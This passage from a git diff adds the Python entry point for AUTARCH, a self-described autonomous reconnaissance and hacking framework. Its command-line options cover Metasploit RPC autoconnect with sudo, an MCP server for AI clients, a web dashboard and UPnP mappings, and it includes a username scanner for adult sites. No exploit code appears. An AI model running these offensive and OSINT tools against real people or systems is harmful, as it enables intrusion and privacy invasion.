||||||
|
| OTA sideload | ADB sideload (server) / adb.install (direct) | C |
|
||||||
|
| Boot image patching (Magisk) | Future — extract boot.img, patch, flash back | Future |
|
||||||
|
| Multi-device support | Device list + select (both modes already do this) | C |
|
||||||
|
| A/B slot management | fastboot getvar current-slot / set_active | D |
|
||||||
|
| Dry run mode | Parse + display flash plan without executing | D |
|
||||||
|
| Partition backup | fastboot fetch / adb pull partition | Future |
|
||||||
|
| Lock/unlock status | fastboot getvar unlocked | D |
|
||||||
|
| Device state display | Product, variant, bootloader version, secure, etc. | C |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
- All npm/node dependencies are **build-time only**. The built JS bundles are static files served by Flask. No Node.js runtime needed.
|
||||||
|
- The `src/` directory and `node_modules/` are build artifacts, not needed for deployment.
|
||||||
|
- Library bundles should be rebuilt when upgrading library versions. Pin versions in package.json.
|
||||||
|
- The server-side mode remains the primary mode for headless/remote AUTARCH deployments where devices are plugged into the server.
|
||||||
|
- Direct mode is an enhancement for users who want to flash devices plugged into their own workstation while using the AUTARCH web UI.
|
||||||
782
autarch.py
Normal file
782
autarch.py
Normal file
@ -0,0 +1,782 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
AUTARCH - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking
|
||||||
|
By darkHal Security Group and Setec Security Labs
|
||||||
|
|
||||||
|
Main entry point for the AUTARCH framework.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import shutil
|
||||||
|
import argparse
|
||||||
|
import importlib.util
|
||||||
|
from pathlib import Path
|
||||||
|
from textwrap import dedent
|
||||||
|
|
||||||
|
# Version info
|
||||||
|
VERSION = "1.3"
|
||||||
|
BUILD_DATE = "2026-01-14"
|
||||||
|
|
||||||
|
# Ensure the framework directory is in the path
|
||||||
|
FRAMEWORK_DIR = Path(__file__).parent
|
||||||
|
sys.path.insert(0, str(FRAMEWORK_DIR))
|
||||||
|
|
||||||
|
from core.banner import Colors, clear_screen, display_banner
|
||||||
|
|
||||||
|
|
||||||
|
def get_epilog():
|
||||||
|
"""Get detailed help epilog text."""
|
||||||
|
return f"""{Colors.BOLD}CATEGORIES:{Colors.RESET}
|
||||||
|
defense Defensive security tools (hardening, audits, monitoring)
|
||||||
|
offense Penetration testing (Metasploit integration, exploits)
|
||||||
|
counter Counter-intelligence (threat hunting, anomaly detection)
|
||||||
|
analyze Forensics & analysis (file analysis, strings, hashes)
|
||||||
|
osint Open source intelligence (email, username, domain lookup)
|
||||||
|
simulate Attack simulation (port scan, payloads, stress test)
|
||||||
|
|
||||||
|
{Colors.BOLD}MODULES:{Colors.RESET}
|
||||||
|
chat Interactive LLM chat interface
|
||||||
|
agent Autonomous AI agent with tool access
|
||||||
|
msf Metasploit Framework interface
|
||||||
|
defender System hardening and security checks
|
||||||
|
counter Threat detection and hunting
|
||||||
|
analyze File forensics and analysis
|
||||||
|
recon OSINT reconnaissance (email, username, phone, domain)
|
||||||
|
adultscan Adult site username scanner
|
||||||
|
simulate Attack simulation tools
|
||||||
|
|
||||||
|
{Colors.BOLD}EXAMPLES:{Colors.RESET}
|
||||||
|
{Colors.DIM}# Start interactive menu{Colors.RESET}
|
||||||
|
python autarch.py
|
||||||
|
|
||||||
|
{Colors.DIM}# Run a specific module{Colors.RESET}
|
||||||
|
python autarch.py -m chat
|
||||||
|
python autarch.py -m adultscan
|
||||||
|
python autarch.py --module recon
|
||||||
|
|
||||||
|
{Colors.DIM}# List all available modules{Colors.RESET}
|
||||||
|
python autarch.py -l
|
||||||
|
python autarch.py --list
|
||||||
|
|
||||||
|
{Colors.DIM}# Quick OSINT username scan{Colors.RESET}
|
||||||
|
python autarch.py osint <username>
|
||||||
|
|
||||||
|
{Colors.DIM}# Show current configuration{Colors.RESET}
|
||||||
|
python autarch.py --show-config
|
||||||
|
|
||||||
|
{Colors.DIM}# Re-run setup wizard{Colors.RESET}
|
||||||
|
python autarch.py --setup
|
||||||
|
|
||||||
|
{Colors.DIM}# Skip setup (run without LLM){Colors.RESET}
|
||||||
|
python autarch.py --skip-setup
|
||||||
|
|
||||||
|
{Colors.DIM}# Use alternate config file{Colors.RESET}
|
||||||
|
python autarch.py -c /path/to/config.conf
|
||||||
|
|
||||||
|
{Colors.BOLD}FILES:{Colors.RESET}
|
||||||
|
autarch_settings.conf Main configuration file
|
||||||
|
user_manual.md Comprehensive user manual
|
||||||
|
custom_adultsites.json Custom adult sites storage
|
||||||
|
custom_sites.inf Bulk import domains file
|
||||||
|
GUIDE.md Quick reference guide
|
||||||
|
DEVLOG.md Development log
|
||||||
|
|
||||||
|
{Colors.BOLD}CONFIGURATION:{Colors.RESET}
|
||||||
|
LLM settings:
|
||||||
|
model_path Path to GGUF model file
|
||||||
|
n_ctx Context window size (default: 4096)
|
||||||
|
n_threads CPU threads (default: 4)
|
||||||
|
n_gpu_layers GPU layers to offload (default: 0)
|
||||||
|
temperature Sampling temperature (default: 0.7)
|
||||||
|
|
||||||
|
MSF settings:
|
||||||
|
host Metasploit RPC host (default: 127.0.0.1)
|
||||||
|
port Metasploit RPC port (default: 55553)
|
||||||
|
ssl Use SSL connection (default: true)
|
||||||
|
autoconnect Auto-start msfrpcd on launch (default: true)
|
||||||
|
|
||||||
|
{Colors.BOLD}METASPLOIT AUTO-CONNECT:{Colors.RESET}
|
||||||
|
On startup, AUTARCH will:
|
||||||
|
1. Scan for existing msfrpcd server
|
||||||
|
2. If found: stop it and prompt for new credentials
|
||||||
|
3. Start msfrpcd with sudo (for raw socket module support)
|
||||||
|
4. Connect to the server
|
||||||
|
|
||||||
|
To skip autoconnect: python autarch.py --no-msf
|
||||||
|
Quick connect: python autarch.py --msf-user msf --msf-pass secret
|
||||||
|
Without sudo: python autarch.py --msf-no-sudo
|
||||||
|
|
||||||
|
{Colors.BOLD}MORE INFO:{Colors.RESET}
|
||||||
|
Documentation: See GUIDE.md for full documentation
|
||||||
|
Development: See DEVLOG.md for development history
|
||||||
|
|
||||||
|
{Colors.DIM}Project AUTARCH - By darkHal Security Group and Setec Security Labs{Colors.RESET}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def create_parser():
|
||||||
|
"""Create the argument parser."""
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
prog='autarch',
|
||||||
|
description=f'{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking',
|
||||||
|
epilog=get_epilog(),
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
add_help=False # We'll add custom help
|
||||||
|
)
|
||||||
|
|
||||||
|
# Help and version
|
||||||
|
parser.add_argument(
|
||||||
|
'-h', '--help',
|
||||||
|
action='store_true',
|
||||||
|
help='Show this help message and exit'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'-v', '--version',
|
||||||
|
action='store_true',
|
||||||
|
help='Show version information and exit'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
parser.add_argument(
|
||||||
|
'-c', '--config',
|
||||||
|
metavar='FILE',
|
||||||
|
help='Use alternate configuration file'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--show-config',
|
||||||
|
action='store_true',
|
||||||
|
help='Display current configuration and exit'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--manual',
|
||||||
|
action='store_true',
|
||||||
|
help='Show the user manual'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--setup',
|
||||||
|
action='store_true',
|
||||||
|
help='Run the setup wizard'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--skip-setup',
|
||||||
|
action='store_true',
|
||||||
|
help='Skip first-time setup (run without LLM)'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Module execution
|
||||||
|
parser.add_argument(
|
||||||
|
'-m', '--module',
|
||||||
|
metavar='NAME',
|
||||||
|
help='Run a specific module directly'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'-l', '--list',
|
||||||
|
action='store_true',
|
||||||
|
help='List all available modules'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--list-category',
|
||||||
|
metavar='CAT',
|
||||||
|
choices=['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core'],
|
||||||
|
help='List modules in a specific category'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Display options
|
||||||
|
parser.add_argument(
|
||||||
|
'--no-banner',
|
||||||
|
action='store_true',
|
||||||
|
help='Suppress the ASCII banner'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'-q', '--quiet',
|
||||||
|
action='store_true',
|
||||||
|
help='Minimal output mode'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--verbose',
|
||||||
|
action='store_true',
|
||||||
|
help='Enable verbose output'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Web UI options
|
||||||
|
parser.add_argument(
|
||||||
|
'--web',
|
||||||
|
action='store_true',
|
||||||
|
help='Start the web dashboard'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--web-port',
|
||||||
|
type=int,
|
||||||
|
metavar='PORT',
|
||||||
|
help='Web dashboard port (default: 8181)'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Web service management
|
||||||
|
parser.add_argument(
|
||||||
|
'--service',
|
||||||
|
metavar='ACTION',
|
||||||
|
choices=['start', 'stop', 'restart', 'status', 'enable', 'disable', 'install'],
|
||||||
|
help='Manage AUTARCH web service (start|stop|restart|status|enable|disable|install)'
|
||||||
|
)
|
||||||
|
|
||||||
|
# MCP server
|
||||||
|
parser.add_argument(
|
||||||
|
'--mcp',
|
||||||
|
choices=['stdio', 'sse'],
|
||||||
|
nargs='?',
|
||||||
|
const='stdio',
|
||||||
|
metavar='MODE',
|
||||||
|
help='Start MCP server (stdio for Claude Desktop/Code, sse for web clients)'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--mcp-port',
|
||||||
|
type=int,
|
||||||
|
default=8081,
|
||||||
|
metavar='PORT',
|
||||||
|
help='MCP SSE server port (default: 8081)'
|
||||||
|
)
|
||||||
|
|
||||||
|
# UPnP options
|
||||||
|
parser.add_argument(
|
||||||
|
'--upnp-refresh',
|
||||||
|
action='store_true',
|
||||||
|
help='Refresh all UPnP port mappings and exit (for cron use)'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Metasploit options
|
||||||
|
parser.add_argument(
|
||||||
|
'--no-msf',
|
||||||
|
action='store_true',
|
||||||
|
help='Skip Metasploit autoconnect on startup'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--msf-user',
|
||||||
|
metavar='USER',
|
||||||
|
help='MSF RPC username for quick connect'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--msf-pass',
|
||||||
|
metavar='PASS',
|
||||||
|
help='MSF RPC password for quick connect'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--msf-no-sudo',
|
||||||
|
action='store_true',
|
||||||
|
help='Do not use sudo when starting msfrpcd (limits some modules)'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Quick commands (positional)
|
||||||
|
parser.add_argument(
|
||||||
|
'command',
|
||||||
|
nargs='?',
|
||||||
|
choices=['chat', 'agent', 'osint', 'scan', 'analyze'],
|
||||||
|
help='Quick command to run'
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'target',
|
||||||
|
nargs='?',
|
||||||
|
help='Target for quick commands (username, IP, file, etc.)'
|
||||||
|
)
|
||||||
|
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def show_version():
|
||||||
|
"""Display version information."""
|
||||||
|
print(f"""
|
||||||
|
{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent
|
||||||
|
Version: {VERSION}
|
||||||
|
Build: {BUILD_DATE}
|
||||||
|
|
||||||
|
{Colors.DIM}By darkHal Security Group and Setec Security Labs{Colors.RESET}
|
||||||
|
|
||||||
|
Components:
|
||||||
|
- Core Framework v{VERSION}
|
||||||
|
- LLM Integration llama-cpp-python
|
||||||
|
- MSF Integration Metasploit RPC
|
||||||
|
- Agent System Autonomous tools
|
||||||
|
|
||||||
|
Modules:
|
||||||
|
- chat Interactive LLM chat
|
||||||
|
- agent Autonomous AI agent
|
||||||
|
- msf Metasploit interface
|
||||||
|
- defender System hardening (defense)
|
||||||
|
- counter Threat detection (counter)
|
||||||
|
- analyze Forensics tools (analyze)
|
||||||
|
- recon OSINT reconnaissance (osint)
|
||||||
|
- adultscan Adult site scanner (osint)
|
||||||
|
- simulate Attack simulation (simulate)
|
||||||
|
|
||||||
|
Python: {sys.version.split()[0]}
|
||||||
|
Path: {FRAMEWORK_DIR}
|
||||||
|
""")
|
||||||
|
|
||||||
|
|
||||||
|
def show_config():
|
||||||
|
"""Display current configuration."""
|
||||||
|
from core.config import get_config
|
||||||
|
|
||||||
|
config = get_config()
|
||||||
|
print(f"\n{Colors.BOLD}AUTARCH Configuration{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
|
||||||
|
|
||||||
|
print(f"{Colors.CYAN}Config File:{Colors.RESET} {config.config_path}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# LLM Settings
|
||||||
|
print(f"{Colors.CYAN}LLM Settings:{Colors.RESET}")
|
||||||
|
llama = config.get_llama_settings()
|
||||||
|
for key, value in llama.items():
|
||||||
|
print(f" {key:20} = {value}")
|
||||||
|
|
||||||
|
# Autarch Settings
|
||||||
|
print(f"\n{Colors.CYAN}Autarch Settings:{Colors.RESET}")
|
||||||
|
print(f" {'first_run':20} = {config.get('autarch', 'first_run')}")
|
||||||
|
print(f" {'modules_path':20} = {config.get('autarch', 'modules_path')}")
|
||||||
|
print(f" {'verbose':20} = {config.get('autarch', 'verbose')}")
|
||||||
|
|
||||||
|
# MSF Settings
|
||||||
|
print(f"\n{Colors.CYAN}Metasploit Settings:{Colors.RESET}")
|
||||||
|
try:
|
||||||
|
from core.msf import get_msf_manager
|
||||||
|
msf = get_msf_manager()
|
||||||
|
settings = msf.get_settings()
|
||||||
|
for key, value in settings.items():
|
||||||
|
if key == 'password':
|
||||||
|
value = '*' * len(value) if value else '(not set)'
|
||||||
|
print(f" {key:20} = {value}")
|
||||||
|
except:
|
||||||
|
print(f" {Colors.DIM}(MSF not configured){Colors.RESET}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
|
||||||
|
def list_modules(category=None):
|
||||||
|
"""List available modules."""
|
||||||
|
from core.menu import MainMenu, CATEGORIES
|
||||||
|
|
||||||
|
menu = MainMenu()
|
||||||
|
menu.load_modules()
|
||||||
|
|
||||||
|
print(f"\n{Colors.BOLD}Available Modules{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n")
|
||||||
|
|
||||||
|
if category:
|
||||||
|
# List specific category
|
||||||
|
cat_info = CATEGORIES.get(category, {})
|
||||||
|
modules = menu.get_modules_by_category(category)
|
||||||
|
|
||||||
|
color = cat_info.get('color', Colors.WHITE)
|
||||||
|
print(f"{color}{Colors.BOLD}{category.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
if modules:
|
||||||
|
for name, info in modules.items():
|
||||||
|
print(f" {color}{name:15}{Colors.RESET} {info.description}")
|
||||||
|
print(f" {Colors.DIM}{'':15} v{info.version} by {info.author}{Colors.RESET}")
|
||||||
|
else:
|
||||||
|
print(f" {Colors.DIM}No modules in this category{Colors.RESET}")
|
||||||
|
else:
|
||||||
|
# List all categories
|
||||||
|
for cat_name, cat_info in CATEGORIES.items():
|
||||||
|
modules = menu.get_modules_by_category(cat_name)
|
||||||
|
if not modules:
|
||||||
|
continue
|
||||||
|
|
||||||
|
color = cat_info.get('color', Colors.WHITE)
|
||||||
|
print(f"{color}{Colors.BOLD}{cat_name.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
|
||||||
|
|
||||||
|
for name, info in modules.items():
|
||||||
|
print(f" {color}[{name}]{Colors.RESET} {info.description}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
print(f"{Colors.DIM}Total modules: {len(menu.modules)}{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}Run with: python autarch.py -m <module_name>{Colors.RESET}\n")
|
||||||
|
|
||||||
|
|
||||||
|
def run_module(module_name, quiet=False):
|
||||||
|
"""Run a specific module directly."""
|
||||||
|
modules_path = FRAMEWORK_DIR / 'modules'
|
||||||
|
module_file = modules_path / f"{module_name}.py"
|
||||||
|
|
||||||
|
if not module_file.exists():
|
||||||
|
print(f"{Colors.RED}[X] Module not found: {module_name}{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}Use --list to see available modules{Colors.RESET}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
spec = importlib.util.spec_from_file_location(module_name, module_file)
|
||||||
|
module = importlib.util.module_from_spec(spec)
|
||||||
|
spec.loader.exec_module(module)
|
||||||
|
|
||||||
|
if hasattr(module, 'run'):
|
||||||
|
if not quiet:
|
||||||
|
clear_screen()
|
||||||
|
display_banner()
|
||||||
|
print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
|
||||||
|
module.run()
|
||||||
|
else:
|
||||||
|
print(f"{Colors.RED}[X] Module '{module_name}' has no run() function{Colors.RESET}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{Colors.RED}[X] Module error: {e}{Colors.RESET}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def quick_osint(username):
|
||||||
|
"""Quick OSINT username lookup."""
|
||||||
|
print(f"\n{Colors.CYAN}Quick OSINT: {username}{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n")
|
||||||
|
|
||||||
|
# Run adultscan with username
|
||||||
|
try:
|
||||||
|
from modules.adultscan import AdultScanner
|
||||||
|
scanner = AdultScanner()
|
||||||
|
scanner.scan_username(username)
|
||||||
|
scanner.display_results()
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
|
||||||
|
|
||||||
|
|
||||||
|
def quick_scan(target):
|
||||||
|
"""Quick port scan."""
|
||||||
|
print(f"\n{Colors.CYAN}Quick Scan: {target}{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n")
|
||||||
|
|
||||||
|
try:
|
||||||
|
from modules.simulate import Simulator
|
||||||
|
sim = Simulator()
|
||||||
|
# Would need to modify simulator to accept target directly
|
||||||
|
# For now, just inform user
|
||||||
|
print(f"Use: python autarch.py -m simulate")
|
||||||
|
print(f"Then select Port Scanner and enter: {target}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
|
||||||
|
|
||||||
|
|
||||||
|
def manage_service(action):
|
||||||
|
"""Manage the AUTARCH web dashboard systemd service."""
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
SERVICE_NAME = "autarch-web"
|
||||||
|
SERVICE_FILE = FRAMEWORK_DIR / "scripts" / "autarch-web.service"
|
||||||
|
SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service")
|
||||||
|
|
||||||
|
if action == 'install':
|
||||||
|
# Install the service file
|
||||||
|
if not SERVICE_FILE.exists():
|
||||||
|
print(f"{Colors.RED}[X] Service file not found: {SERVICE_FILE}{Colors.RESET}")
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True)
|
||||||
|
subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True)
|
||||||
|
print(f"{Colors.GREEN}[+] Service installed: {SYSTEMD_PATH}{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM} Enable with: python autarch.py --service enable{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM} Start with: python autarch.py --service start{Colors.RESET}")
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
print(f"{Colors.RED}[X] Install failed: {e}{Colors.RESET}")
|
||||||
|
return
|
||||||
|
|
||||||
|
if not SYSTEMD_PATH.exists():
|
||||||
|
print(f"{Colors.YELLOW}[!] Service not installed. Run: python autarch.py --service install{Colors.RESET}")
|
||||||
|
return
|
||||||
|
|
||||||
|
cmd_map = {
|
||||||
|
'start': ['sudo', 'systemctl', 'start', SERVICE_NAME],
|
||||||
|
'stop': ['sudo', 'systemctl', 'stop', SERVICE_NAME],
|
||||||
|
'restart': ['sudo', 'systemctl', 'restart', SERVICE_NAME],
|
||||||
|
'enable': ['sudo', 'systemctl', 'enable', SERVICE_NAME],
|
||||||
|
'disable': ['sudo', 'systemctl', 'disable', SERVICE_NAME],
|
||||||
|
}
|
||||||
|
|
||||||
|
if action == 'status':
|
||||||
|
result = subprocess.run(
|
||||||
|
['systemctl', 'is-active', SERVICE_NAME],
|
||||||
|
capture_output=True, text=True
|
||||||
|
)
|
||||||
|
is_active = result.stdout.strip()
|
||||||
|
result2 = subprocess.run(
|
||||||
|
['systemctl', 'is-enabled', SERVICE_NAME],
|
||||||
|
capture_output=True, text=True
|
||||||
|
)
|
||||||
|
is_enabled = result2.stdout.strip()
|
||||||
|
|
||||||
|
color = Colors.GREEN if is_active == 'active' else Colors.RED
|
||||||
|
print(f"\n {Colors.BOLD}AUTARCH Web Service{Colors.RESET}")
|
||||||
|
print(f" {'─' * 30}")
|
||||||
|
print(f" Status: {color}{is_active}{Colors.RESET}")
|
||||||
|
print(f" Enabled: {is_enabled}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Show journal output
|
||||||
|
result3 = subprocess.run(
|
||||||
|
['journalctl', '-u', SERVICE_NAME, '-n', '5', '--no-pager'],
|
||||||
|
capture_output=True, text=True
|
||||||
|
)
|
||||||
|
if result3.stdout.strip():
|
||||||
|
print(f" {Colors.DIM}Recent logs:{Colors.RESET}")
|
||||||
|
for line in result3.stdout.strip().split('\n'):
|
||||||
|
print(f" {Colors.DIM}{line}{Colors.RESET}")
|
||||||
|
return
|
||||||
|
|
||||||
|
if action in cmd_map:
|
||||||
|
try:
|
||||||
|
subprocess.run(cmd_map[action], check=True)
|
||||||
|
print(f"{Colors.GREEN}[+] Service {action}: OK{Colors.RESET}")
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
print(f"{Colors.RED}[X] Service {action} failed: {e}{Colors.RESET}")
|
||||||
|
|
||||||
|
|
||||||
|
def check_first_run():
|
||||||
|
"""Check if this is the first run and execute setup if needed."""
|
||||||
|
from core.config import get_config
|
||||||
|
config = get_config()
|
||||||
|
|
||||||
|
if config.is_first_run():
|
||||||
|
from modules.setup import run as run_setup
|
||||||
|
if not run_setup():
|
||||||
|
print("Setup cancelled. Exiting.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def msf_autoconnect(skip: bool = False, username: str = None, password: str = None,
|
||||||
|
use_sudo: bool = True):
|
||||||
|
"""Handle Metasploit autoconnect on startup.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
skip: Skip autoconnect entirely
|
||||||
|
username: Optional username for quick connect
|
||||||
|
password: Optional password for quick connect
|
||||||
|
use_sudo: Run msfrpcd with sudo (default True for raw socket support)
|
||||||
|
"""
|
||||||
|
if skip:
|
||||||
|
return
|
||||||
|
|
||||||
|
from core.msf import get_msf_manager, msf_startup_autoconnect, msf_quick_connect, MSGPACK_AVAILABLE
|
||||||
|
|
||||||
|
if not MSGPACK_AVAILABLE:
|
||||||
|
print(f"{Colors.DIM} [MSF] msgpack not available - skipping autoconnect{Colors.RESET}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# If credentials provided via command line, use quick connect
|
||||||
|
if password:
|
||||||
|
msf_quick_connect(username=username, password=password, use_sudo=use_sudo)
|
||||||
|
else:
|
||||||
|
# Use interactive autoconnect
|
||||||
|
msf_startup_autoconnect()
|
||||||
|
|
||||||
|
|
||||||
|
def run_setup_wizard():
|
||||||
|
"""Run the setup wizard."""
|
||||||
|
from modules.setup import run as run_setup
|
||||||
|
run_setup()
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Main entry point for AUTARCH."""
|
||||||
|
parser = create_parser()
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Handle help
|
||||||
|
if args.help:
|
||||||
|
if not args.quiet:
|
||||||
|
display_banner()
|
||||||
|
parser.print_help()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle version
|
||||||
|
if args.version:
|
||||||
|
show_version()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle config file override
|
||||||
|
if args.config:
|
||||||
|
from core import config as config_module
|
||||||
|
config_module._config = config_module.Config(args.config)
|
||||||
|
|
||||||
|
# Handle show config
|
||||||
|
if args.show_config:
|
||||||
|
show_config()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle manual
|
||||||
|
if getattr(args, 'manual', False):
|
||||||
|
manual_path = FRAMEWORK_DIR / 'user_manual.md'
|
||||||
|
if manual_path.exists():
|
||||||
|
# Try to use less/more for paging
|
||||||
|
import subprocess
|
||||||
|
pager = 'less' if shutil.which('less') else ('more' if shutil.which('more') else None)
|
||||||
|
if pager:
|
||||||
|
subprocess.run([pager, str(manual_path)])
|
||||||
|
else:
|
||||||
|
print(manual_path.read_text())
|
||||||
|
else:
|
||||||
|
print(f"{Colors.RED}[X] User manual not found: {manual_path}{Colors.RESET}")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle setup
|
||||||
|
if args.setup:
|
||||||
|
if not args.no_banner:
|
||||||
|
clear_screen()
|
||||||
|
display_banner()
|
||||||
|
run_setup_wizard()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle skip setup
|
||||||
|
if args.skip_setup:
|
||||||
|
from modules.setup import SetupWizard
|
||||||
|
wizard = SetupWizard()
|
||||||
|
wizard.skip_setup()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle service management
|
||||||
|
if args.service:
|
||||||
|
manage_service(args.service)
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle MCP server
|
||||||
|
if args.mcp:
|
||||||
|
from core.mcp_server import run_stdio, run_sse
|
||||||
|
if args.mcp == 'sse':
|
||||||
|
print(f"{Colors.CYAN}[*] Starting AUTARCH MCP server (SSE) on port {args.mcp_port}{Colors.RESET}")
|
||||||
|
run_sse(port=args.mcp_port)
|
||||||
|
else:
|
||||||
|
run_stdio()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle web dashboard
|
||||||
|
if args.web:
|
||||||
|
from web.app import create_app
|
||||||
|
from core.config import get_config
|
||||||
|
from core.paths import get_data_dir
|
||||||
|
config = get_config()
|
||||||
|
app = create_app()
|
||||||
|
host = config.get('web', 'host', fallback='0.0.0.0')
|
||||||
|
port = args.web_port or config.get_int('web', 'port', fallback=8181)
|
||||||
|
|
||||||
|
# Auto-generate self-signed TLS cert for HTTPS (required for WebUSB over LAN)
|
||||||
|
ssl_ctx = None
|
||||||
|
use_https = config.get('web', 'https', fallback='true').lower() != 'false'
|
||||||
|
if use_https:
|
||||||
|
import os, subprocess as _sp
|
||||||
|
cert_dir = os.path.join(get_data_dir(), 'certs')
|
||||||
|
os.makedirs(cert_dir, exist_ok=True)
|
||||||
|
cert_path = os.path.join(cert_dir, 'autarch.crt')
|
||||||
|
key_path = os.path.join(cert_dir, 'autarch.key')
|
||||||
|
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||||
|
print(f"{Colors.CYAN}[*] Generating self-signed TLS certificate...{Colors.RESET}")
|
||||||
|
_sp.run([
|
||||||
|
'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
|
||||||
|
'-keyout', key_path, '-out', cert_path,
|
||||||
|
'-days', '3650', '-nodes',
|
||||||
|
'-subj', '/CN=AUTARCH/O=darkHal',
|
||||||
|
], check=True, capture_output=True)
|
||||||
|
ssl_ctx = (cert_path, key_path)
|
||||||
|
proto = 'https'
|
||||||
|
else:
|
||||||
|
proto = 'http'
|
||||||
|
|
||||||
|
print(f"{Colors.GREEN}[+] Starting AUTARCH Web Dashboard on {proto}://{host}:{port}{Colors.RESET}")
|
||||||
|
app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx)
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle UPnP refresh (for cron)
|
||||||
|
if args.upnp_refresh:
|
||||||
|
from core.upnp import get_upnp_manager
|
||||||
|
upnp = get_upnp_manager()
|
||||||
|
results = upnp.refresh_all()
|
||||||
|
for r in results:
|
||||||
|
status = "OK" if r['success'] else "FAIL"
|
||||||
|
print(f" {r['port']}/{r['protocol']}: {status}")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle list modules
|
||||||
|
if args.list:
|
||||||
|
list_modules()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
if args.list_category:
|
||||||
|
list_modules(args.list_category)
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Handle direct module execution
|
||||||
|
if args.module:
|
||||||
|
run_module(args.module, args.quiet)
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
